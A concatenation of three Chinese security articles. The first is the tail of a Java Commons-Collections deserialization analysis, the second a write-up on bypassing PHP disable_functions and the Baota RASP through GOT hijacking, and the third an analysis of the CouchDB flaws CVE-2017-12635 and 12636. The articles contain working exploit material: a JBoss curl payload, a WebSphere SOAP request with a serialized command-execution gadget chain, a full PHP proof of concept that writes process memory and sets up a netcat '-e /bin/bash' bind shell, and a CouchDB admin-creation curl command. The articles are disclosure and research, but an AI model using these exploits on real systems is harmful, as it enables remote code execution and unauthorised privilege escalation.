Jboss受影响的情况就比之前Jenkins逊色不少,正如之前所说,要成功利用必须要找到程序接受外部输入的点,而此处的利用需要/invoker/jmx的支持,大部分情况下的实际场景,jboss都删除了jmx,所以让此处的利用大打折扣。
分析流程和之前一样,只不过此处接受的点在jmx上,所以通过的协议也和前两个不同,是HTTP协议,不再赘述,详细的jboss分析可以参看Exploit –
JBoss。
利用如下:
curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload.out' http://172.17.0.2:8080/invoker/JMXInvokerServlet
也可以看breenmachine给出的http请求报文:
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 172.17.0.2:8080
Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue
Content-Length: 1434
payload
image
4.5 WebSphere
WebSphere的利用相比较之前几个case就非常粗暴简单了,可惜的是很少会暴露在公网。
找到受影响的lib的位置。
root@f45f0209fa11:/opt/server/IBM# find . -iname "*commons*collection*"
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar
./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar
./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar
./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar
./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar
查看端口开放情况后发现WebSphere默认起了10个端口监听所有接口,通过burp
suite看到在请求websphere默认端口8880上有一个POST的请求,body中带有base64处理后的java序列化对象,同样的,标记位置仍然是"rO0",我们将生成的payload做base64处理后覆盖之前的序列化对象即可利用。
image
POST / HTTP/1.0
Host: 127.0.0.1:8880
Content-Type: text/xml; charset=utf-8
Content-Length: 2646
SOAPAction: "urn:AdminService"
<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0">
<LoginMethod>BasicAuth</LoginMethod>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEHRvdWNoIC90bXAvcHduZWR0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==</objectname>
<attribute xsi:type="xsd:string">ringBufferSize</attribute>
</ns1:getAttribute>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
4.6 其它
因为这个安全问题的根源在于ObjectInputStream处理反序列化时接受外部输入,而又由于其他类似InvokerTransformer的类的构造函数被调用,从而造成执行,而InvokerTransformer方便的提供了根据外部输入类名函数名反射执行的作用,所以造成整个程序RCE。
所以该问题并不是像其他一些语言unserialize函数本身存在漏洞,而是在应用本身实现的方式上存在缺陷,导致应用受到RCE的影响,开个脑洞引申一下,可以很明了的发现,远远不止breenmachine所指出的这几个流行web
server,更可能影响更多使用了commons-collections,并且触发ObjectInputStream反序列化操作的应用,如一些java开发的CMS,中间件等等,甚至不仅仅是PC端,移动端如Android的很多app都可能受到该问题影响。
****
**5 漏洞影响**
通过简单的全网分析和POC验证。
Jenkins收到该漏洞影响较大,在自测中,全球暴露在公网的11059台均受到该问题影响,zoomeye的公开数据中再测试后有12493受到该漏洞影响,shadon的公开数据中16368台jenkins暴露公网可能受到影响(未复测shadon数据)。
Weblogic因为公开到公网的数据较少,所以受影响面也稍微少一些,在自测中,全球486台均受到该问题影响,zoomeye的公开数据中再测试后有201台收到该漏洞影响,shadon的公开数据中806
台weblogic可能受到影响(未复测shadon数据)。
Jboss因为需要/invoker/JMXInvokerServlet的支持,所以受影响面稍小(但我们并未具体检测jboss中没有删除/invoker/JMXInvokerServlet的数据),在自测中,全球29194台jboss暴露在公网,但由于大部分jboss都删除了jmx,所以真正受到影响的覆盖面并不广,zoomeye的公开数据中有7770台jboss暴露在公网,shadon的公开数据中46317台jboss暴露在公网。
WebSphere在自测中,全球暴露在公网的2076台均受到该问题影响,zoomeye的公开数据中再测试后仍有4511台websphere受到影响,shadon的公开数据中5537
台websphere可能受到影响(未复测shadon数据)。
image
在本次全网分析中,感谢ztz@nsfocus的seer提供的部分数据
****
**6 修复建议**
因为受影响的多家厂商在今年1月拿到POC至今都没有对该问题做任何修复,所以短期内并不会有官方补丁放出,如果很重视这个安全问题并且想要有一个临时的解决方案可以参考NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller。
下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。
lib地址:<https://github.com/ikkisoft/SerialKiller>
****
**7 参考资料**
Matthias Kaiser – Exploiting Deserialization Vulnerabilities in Java.
https://github.com/frohoff/ysoserial
foxglovesecurity analysis
github JavaUnserializeExploits
appseccali-2015-marshalling-pickles | 社区文章 |
#### 实验环境
* 开启宝塔自带的防跨站攻击。
* 安装并开启堡塔PHP安全防护。
* 安装并开启堡塔防提权。
#### 概述
无聊的时候和宝塔开发聊天，听他说了宝塔在开发一个基于底层的rasp，拦截所有基于www权限的命令执行。最近总算上线了，我稍微测试了一下，效果确实不错：
不管是通过php来调用system，会拦截，你是root权限的情况下，通过su
www都会被一并拦截，也就是说www基本什么也做不了，我一开始还挺惊讶这php居然没崩溃还能运行，开发说加了特殊的兼容，这就让我感兴趣了。在加上业内知名的最全disable_functions名单，成功吸引了我来挑战。
主要挑战内容就是在他们的防跨站，也就是在他们的open_basedir限制了目录的情况下，先突破disable_functions，然后在突破他们的rasp。
#### 如何通过劫持GOT表绕过disable_functions
在突破rasp前，我们首先得先能碰到rasp，不然disable_functions都过不去，何来绕过rasp之说。
##### 什么是GOT表？
请自行阅读以下资料了解
* [浅析ELF中的GOT与PLT](https://blog.csdn.net/u011987514/article/details/67716639)
* [深入了解GOT,PLT和动态链接](https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html)
* [漏洞利用-GOT覆写技术](https://blog.csdn.net/helloworlddm/article/details/106894371)
* [Linux中的GOT和PLT到底是个啥？](https://www.freebuf.com/articles/system/135685.html)
简单来说，某个程序需要调用printf这个函数，先到plt表里面找到对应的got表的里面存放的真正代码块的地址，在根据这个地址跳转到代码块。plt表是不可写的，got表可写，在没有执行之前填充00，在执行的时候由动态连接器填充真正的函数地址进去。假如我们能找到got表的地址，修改他指向的地址，比如把printf的地址和system的地址互换，就会造成我们调用的是printf，但实际上执行的是system，以此来突破disable_functions。
##### 实现
<?php
/***
*
* BUG修正请联系我
* @author
* @email [email protected]
*
*/
$path="/tmp/ncc";
$args = " -lvvp 7711 -e /bin/bash";
/**
section tables type
*/
define('SHT_NULL',0);
define('SHT_PROGBITS',1);
define('SHT_SYMTAB',2);
define('SHT_STRTAB',3);
define('SHT_RELA',4);
define('SHT_HASH',5);
define('SHT_DYNAMIC',6);
define('SHT_NOTE',7);
define('SHT_NOBITS',8);
define('SHT_REL',9);
define('SHT_SHLIB',10);
define('SHT_DNYSYM',11);
define('SHT_INIT_ARRAY',14);
define('SHT_FINI_ARRAY',15);
//why does section tables have so many fuck type
define('SHT_GNU_HASH',0x6ffffff6);
define('SHT_GNU_versym',0x6fffffff);
define('SHT_GNU_verneed',0x6ffffffe);
class elf{
private $elf_bin;
private $strtab_section=array();
private $rel_plt_section=array();
private $dynsym_section=array();
public $shared_librarys=array();
public $rel_plts=array();
public function getElfBin()
{
return $this->elf_bin;
}
public function setElfBin($elf_bin)
{
$this->elf_bin = fopen($elf_bin,"rb");
}
public function unp($value)
{
return hexdec(bin2hex(strrev($value)));
}
public function get($start,$len){
fseek($this->elf_bin,$start);
$data=fread ($this->elf_bin,$len);
rewind($this->elf_bin);
return $this->unp($data);
}
public function get_section($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$this->elf_shoff=$this->get(0x28,8);
$this->elf_shentsize=$this->get(0x3a,2);
$this->elf_shnum=$this->get(0x3c,2);
$this->elf_shstrndx=$this->get(0x3e,2);
for ($i=0;$i<$this->elf_shnum;$i+=1){
$sh_type=$this->get($this->elf_shoff+$i*$this->elf_shentsize+4,4);
switch ($sh_type){
case SHT_STRTAB:
$this->strtab_section[$i]=
array(
'strtab_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'strtab_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8)
);
break;
case SHT_RELA:
$this->rel_plt_section[$i]=
array(
'rel_plt_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'rel_plt_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'rel_plt_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;
case SHT_DNYSYM:
$this->dynsym_section[$i]=
array(
'dynsym_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'dynsym_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'dynsym_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;
case SHT_NULL:
case SHT_PROGBITS:
case SHT_DYNAMIC:
case SHT_SYMTAB:
case SHT_NOBITS:
case SHT_NOTE:
case SHT_FINI_ARRAY:
case SHT_INIT_ARRAY:
case SHT_GNU_versym:
case SHT_GNU_HASH:
break;
default:
// echo "who knows what $sh_type this is? ";
}
}
}
public function get_reloc(){
$rel_plts=array();
$dynsym_section= reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
foreach ($this->rel_plt_section as $rel_plt ){
for ($i=$rel_plt['rel_plt_offset'];
$i<$rel_plt['rel_plt_offset']+$rel_plt['rel_plt_size'];
$i+=$rel_plt['rel_plt_entsize'])
{
$rel_offset=$this->get($i,8);
$rel_info=$this->get($i+8,8)>>32;
$fun_name_offset=$this->get($dynsym_section['dynsym_offset']+$rel_info*$dynsym_section['dynsym_entsize'],4);
$fun_name_offset=$strtab_section['strtab_offset']+$fun_name_offset-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$rel_plts[$fun_name]=$rel_offset;
}
}
$this->rel_plts=$rel_plts;
}
public function get_shared_library($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$shared_librarys=array();
$dynsym_section=reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
for ($i=$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_entsize'];
$i<$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_size'];
$i+=$dynsym_section['dynsym_entsize'])
{
$shared_library_offset=$this->get($i+8,8);
$fun_name_offset=$this->get($i,4);
$fun_name_offset=$fun_name_offset+$strtab_section['strtab_offset']-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$shared_librarys[$fun_name]=$shared_library_offset;
}
$this->shared_librarys=$shared_librarys;
}
public function close(){
fclose($this->elf_bin);
}
public function __destruct()
{
$this->close();
}
public function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
}
我们简单实现一个读取elf文件各表的php代码。
其中get_section函数根据各表的偏移提取出对应的值保存。
get_reloc函数获取PLT表里面保存的指向GOT表的值。
get_shared_library函数则是解析libc库的。
为了节约篇幅，关于elf格式的相关内容请点击[参考](https://blog.csdn.net/denny_chen_/article/details/85395389)或者自行查阅相关资料。
接下来在成功解析目标执行的php文件后，拿到对应GOT表的偏移后，我们可以通过/proc/self/maps拿到正在执行的php的内存布局，来找到一个可写可执行的内存块用来放我们的shellcode。同时获得堆棧的内存地址：
$test=new elf();
$test->get_section('/proc/self/exe');
$test->get_reloc();
$open_php=$test->rel_plts['open'];
$maps = file_get_contents('/proc/self/maps');
preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack);
echo "Stack location: ".$stack[1]."\n";
$pie_base = hexdec("0x".(explode('-', $maps)[0]));
echo "PIE base: ".$pie_base."\n";
至此，我们已经做好全部的准备，如果没有宝塔的RASP，单纯的disable_functions的话，就可以在这里通过get_shared_library函数去解析libc里面的system的地址，然后把open在GOT表里面的地址覆写成system的地址，即可绕过disable_functions。
可惜的是，宝塔的rasp会拦截所有基于www权限的bash的执行，在这我们绕过了disable_functions也只是收获了一条无情的拦截提示：
这里我们就要思考，为什么我们需要system这个函数？是为了弹个nc回来，到处cd在加个ls
-la玩吗？显然不是，这样的需求php也可以满足。我们实际上的目的是去执行我们提权的exp，也就是去执行其他的代码，其他的文件。而不是单纯的执行个id，看一眼www的回显，然后到处cd玩的。
#### 解决宝塔的RASP
在这，我们通过不把open的GOT表地址修改成system的地址，而是改成我们shellcode的地址，这里本质上是我们已经控制了php的eip了，我们只需要在内存里面写入我们的shellcode，在让got表指向这个地址，就可以让php来执行我们的提权的exp或者其他任何我们想让他做的东西。
##### 实现
我们接下来根据php加载在内存里面的地址，开辟一个风水宝地来存放我们的shellcode，同时让GOT表里面的open函数的地址指向这个shellcode的地址：
$mem = fopen('/proc/self/mem', 'wb');
$shellcode_loc = $pie_base + 0x2333;
fseek($mem, $open_php);
fwrite($mem, $test->packlli($shellcode_loc));
这段代码，我们利用/proc/self/mem来访问自己的内存，同时根据之前获取到的拥有可写可执行权限的内存块，来开辟一个放shellcode的地方，也就是`$shellcode_loc`同时我们这里已经修改了GOT表中open指向的地址为我们的`$shellcode_loc`的地址。
接下来我们要准备我们的shellcode了，我这里是通过fork来开辟一个新进程，在新进程里面通过execve来启动我们的提权exp，这里也可以直接放msf生产的shellcode，自由发挥：
push 0x39
pop eax
syscall
test eax, eax
jne 0x31
push 0x70
pop eax
syscall
push 0x39
pop eax
syscall
test eax, eax
jne 0x31
这段简单的汇编非常简单，我们通过0x39这个系统调用号来调用fork函数，我们这里push入参然后syscall调用，test通过判断eax是否为0来判断有没有调用成功，如果失败则ZF标志为1通过jne圆滑的离开。剩下的基本一样，先后调用0x39，0x70，0x39，也就是通过调用fork创建子进程，setsid切到子进程，在fork一次。然后我们就得到了一个独立且脱离终端控制的新进程了。
接下来我们调用execve来指向我们的程序：
mov rdi, 0xffffffffffffffff ; filename
mov rsi, 0xffffffffffffffff ; argv
xor edx, edx
push 0x3b
pop eax
syscall
ret
push 0
pop edi
push 0x3c
pop eax
syscall
然后用nasm编译得到shellcode，接下来就差处理我们需要执行的文件和参数了：
$stack=hexdec("0x".$stack[1]);
fseek($mem, $stack);
fwrite($mem, "{$path}\x00");
$filename_ptr = $stack;
我们这里给获得堆棧的地址，入参我们需要执行的文件的地址，然后保存这个地址`$filename_ptr`等待接下来拼接入shellcode，然后就是我们需要执行的文件的参数的入参：
$stack += strlen($path) + 1;
fseek($mem, $stack);
fwrite($mem, str_replace(" ", "\x00", $args) . "\x00");
$str_ptr = $stack;
$argv_ptr = $arg_ptr = $stack + strlen($args) + 1;
foreach(explode(' ', $args) as $arg) {
fseek($mem, $arg_ptr);
fwrite($mem, $test->packlli($str_ptr));
$arg_ptr += 8;
$str_ptr += strlen($arg) + 1;
}
fseek($mem, $arg_ptr);
fwrite($mem, $test->packlli(0x00));
echo "Argv: " . $args . "\n";
echo "ELF PATH $path\n";
到这，我们已经准备好所有的东西了，接下来在GOT表里open函数指向的地址，也就是我们一开始找到的一个可写可执行的地址`$shellcode_loc =
$pie_base + 0x2333;`写入我们的shellcode:
$shellcode = "shellcode打马赛克".
$test->packlli($filename_ptr)
."shellcode打马赛克"
.$test->packlli($argv_ptr)
."shellcode打马赛克";
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);
完成整个利用。
流程为：
1. 解析php文件获得plt里面open指向plt表的地址
2. 通过获取到的plt表的地址，等待程序运行填充00后将这个地址修改为我们准备放shellcode的风水宝地。
3. 丢入shellcode，完成劫持GOT表。
接下来我们随便执行一个有文件操作，也就是会调用libc里面的open函数的php函数，即可触发：
readfile('email->[email protected]', 'r');
echo "DONE\n";
exit();
完整的利用就出来了:
#### 调试
我调试的源码为PHP7.1.10，在最后的触发shellcode的readfile函数处下的断点。然后用GDB给GOT表里面我们修改的那个shellcode的起始地址下一个断点，执行：
就成功断在我们shellcode的入口了，在这我们就看到我们之前编写的shellcode，之后就可以慢慢调试你的shellcode了。
#### 其他
* 只作为思路分享，exp不公开，已提交官方并修复了此问题。
* 错误的地方请通过邮箱 [email protected] 和我取得联系并帮助我修正。
* 完整POC（去掉了shellcode部分）：
<?php
/***
*
* BUG修正请联系我
* @author
* @email [email protected]
*
*/
$path="/tmp/ncc";
$args = " -lvvp 7711 -e /bin/bash";
/**
section tables type
*/
define('SHT_NULL',0);
define('SHT_PROGBITS',1);
define('SHT_SYMTAB',2);
define('SHT_STRTAB',3);
define('SHT_RELA',4);
define('SHT_HASH',5);
define('SHT_DYNAMIC',6);
define('SHT_NOTE',7);
define('SHT_NOBITS',8);
define('SHT_REL',9);
define('SHT_SHLIB',10);
define('SHT_DNYSYM',11);
define('SHT_INIT_ARRAY',14);
define('SHT_FINI_ARRAY',15);
//why does section tables have so many fuck type
define('SHT_GNU_HASH',0x6ffffff6);
define('SHT_GNU_versym',0x6fffffff);
define('SHT_GNU_verneed',0x6ffffffe);
class elf{
private $elf_bin;
private $strtab_section=array();
private $rel_plt_section=array();
private $dynsym_section=array();
public $shared_librarys=array();
public $rel_plts=array();
public function getElfBin()
{
return $this->elf_bin;
}
public function setElfBin($elf_bin)
{
$this->elf_bin = fopen($elf_bin,"rb");
}
public function unp($value)
{
return hexdec(bin2hex(strrev($value)));
}
public function get($start,$len){
fseek($this->elf_bin,$start);
$data=fread ($this->elf_bin,$len);
rewind($this->elf_bin);
return $this->unp($data);
}
public function get_section($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$this->elf_shoff=$this->get(0x28,8);
$this->elf_shentsize=$this->get(0x3a,2);
$this->elf_shnum=$this->get(0x3c,2);
$this->elf_shstrndx=$this->get(0x3e,2);
for ($i=0;$i<$this->elf_shnum;$i+=1){
$sh_type=$this->get($this->elf_shoff+$i*$this->elf_shentsize+4,4);
switch ($sh_type){
case SHT_STRTAB:
$this->strtab_section[$i]=
array(
'strtab_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'strtab_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8)
);
break;
case SHT_RELA:
$this->rel_plt_section[$i]=
array(
'rel_plt_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'rel_plt_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'rel_plt_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;
case SHT_DNYSYM:
$this->dynsym_section[$i]=
array(
'dynsym_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'dynsym_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'dynsym_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;
case SHT_NULL:
case SHT_PROGBITS:
case SHT_DYNAMIC:
case SHT_SYMTAB:
case SHT_NOBITS:
case SHT_NOTE:
case SHT_FINI_ARRAY:
case SHT_INIT_ARRAY:
case SHT_GNU_versym:
case SHT_GNU_HASH:
break;
default:
// echo "who knows what $sh_type this is? ";
}
}
}
public function get_reloc(){
$rel_plts=array();
$dynsym_section= reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
foreach ($this->rel_plt_section as $rel_plt ){
for ($i=$rel_plt['rel_plt_offset'];
$i<$rel_plt['rel_plt_offset']+$rel_plt['rel_plt_size'];
$i+=$rel_plt['rel_plt_entsize'])
{
$rel_offset=$this->get($i,8);
$rel_info=$this->get($i+8,8)>>32;
$fun_name_offset=$this->get($dynsym_section['dynsym_offset']+$rel_info*$dynsym_section['dynsym_entsize'],4);
$fun_name_offset=$strtab_section['strtab_offset']+$fun_name_offset-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$rel_plts[$fun_name]=$rel_offset;
}
}
$this->rel_plts=$rel_plts;
}
public function get_shared_library($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$shared_librarys=array();
$dynsym_section=reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
for ($i=$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_entsize'];
$i<$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_size'];
$i+=$dynsym_section['dynsym_entsize'])
{
$shared_library_offset=$this->get($i+8,8);
$fun_name_offset=$this->get($i,4);
$fun_name_offset=$fun_name_offset+$strtab_section['strtab_offset']-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$shared_librarys[$fun_name]=$shared_library_offset;
}
$this->shared_librarys=$shared_librarys;
}
public function close(){
fclose($this->elf_bin);
}
public function __destruct()
{
$this->close();
}
public function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
}
$test=new elf();
$test->get_section('/proc/self/exe');
$test->get_reloc();
$open_php=$test->rel_plts['open'];
$maps = file_get_contents('/proc/self/maps');
preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack);
echo "Stack location: ".$stack[1]."\n";
$pie_base = hexdec("0x".(explode('-', $maps)[0]));
echo "PIE base: ".$pie_base."\n";
$mem = fopen('/proc/self/mem', 'wb');
$shellcode_loc = $pie_base + 0x2333;
fseek($mem, $open_php);
fwrite($mem, $test->packlli($shellcode_loc));
$stack=hexdec("0x".$stack[1]);
fseek($mem, $stack);
fwrite($mem, "{$path}\x00");
$filename_ptr = $stack;
$stack += strlen($path) + 1;
fseek($mem, $stack);
fwrite($mem, str_replace(" ", "\x00", $args) . "\x00");
$str_ptr = $stack;
$argv_ptr = $arg_ptr = $stack + strlen($args) + 1;
foreach(explode(' ', $args) as $arg) {
fseek($mem, $arg_ptr);
fwrite($mem, $test->packlli($str_ptr));
$arg_ptr += 8;
$str_ptr += strlen($arg) + 1;
}
fseek($mem, $arg_ptr);
fwrite($mem, $test->packlli(0x00));
echo "Argv: " . $args . "\n";
echo "ELF PATH $path\n";
$shellcode = "好孩子要自己写shellcode哦".
$test->packlli($filename_ptr)
."\x48\xbe"
.$test->packlli($argv_ptr)
."好孩子要自己写shellcode哦";
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);
readfile('email->[email protected]', 'r');
echo "DONE\n";
exit();
#### 主要引用与参考
1. <https://www.anquanke.com/post/id/183370#h2-17>
2. blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
3. <http://asm.sourceforge.net/syscall.html#s-arch>
4. <https://2018.zeronights.ru/wp-content/uploads/materials/09-ELF-execution-in-Linux-RAM.pdf>
5. <https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html>
6. 为了省略篇幅，只列出了主要参考内容。 | 社区文章 |
# 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 背景**
Apache
CouchDB是一个开源数据库，专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，Credit
Suisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）。
在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CouchDB被曝存在远程代码执行的问题。其中CVE-2017-12636的任意命令执行早在2016年即被披露，
但并未引起重视。
**0x01漏洞概述**
CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同，导致语句执行产生差异性导致的。可以被利用于，非管理员用户赋予自身管理员身份权限。
CVE-2017-12636时由于数据库自身设计原因，管理员身份可以通过HTTP（S）方式，配置数据库。在某些配置中，可设置可执行文件的路径，在数据库运行范围内执行。结合CVE-2017-12635可实现远程代码执行。
**0x02 漏洞分析**
CVE-2017-12635问题在于Erlang和JavaScript对JSON中重复的键处理方式具有差异性，例如{“a”:”1”,”a”:”2”},
**Erlang:**
> jiffy:decode(“{“a”:”1″, “a”:”2″}”).
{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}
**JavaScript”**
> JSON.parse(“{“a”:”1″, “a”: “2”}”)
{a: “2”}
对于给定的键，Eralang解析器将存储两个值，但是JavaScript只存储第二个值。但是在jiffy实现的时候，getter函数只返回第一个值
% Within couch_util:get_value
lists:keysearch(Key, 1, List).
可以构建如下POC：
curl -X PUT -d '{"type":"user","name":"oops","roles":["_admin"],"roles":[],"password":"123456"}' localhost:5984/_users/org.couchdb.user:oops -H "Content-Type:application/json"
除了输入验证脚本之外，几乎所有关于身份验证和授权的重要逻辑都发生在CouchDB的Erlang部分，所以这样可以使当前用户赋予“_admin”身份。
查看jiffy解析器源码，定位到patch:
可以发现patch后，加入了dedupe_keys字段用于对重复键的标识，重写了make_object方法，使得jiffy解析JSON的方法和JavaScript一致。
而CVE-2017-12636漏洞在于CouchDB自身的设计问题，CouchDB允许外部通过自身HTTP(S)
API对配置文件进行更改，一些配置选项包括操作系统级二进制文件的路径，随后会由CouchDB启动。从这里获取shell通常很简单，因为CouchDB其中一个“query_servers“选项，可以自定义二进制文件加载路径，这个功能基本上只是一个包装execv。
可以构造简单的POC进行验证：
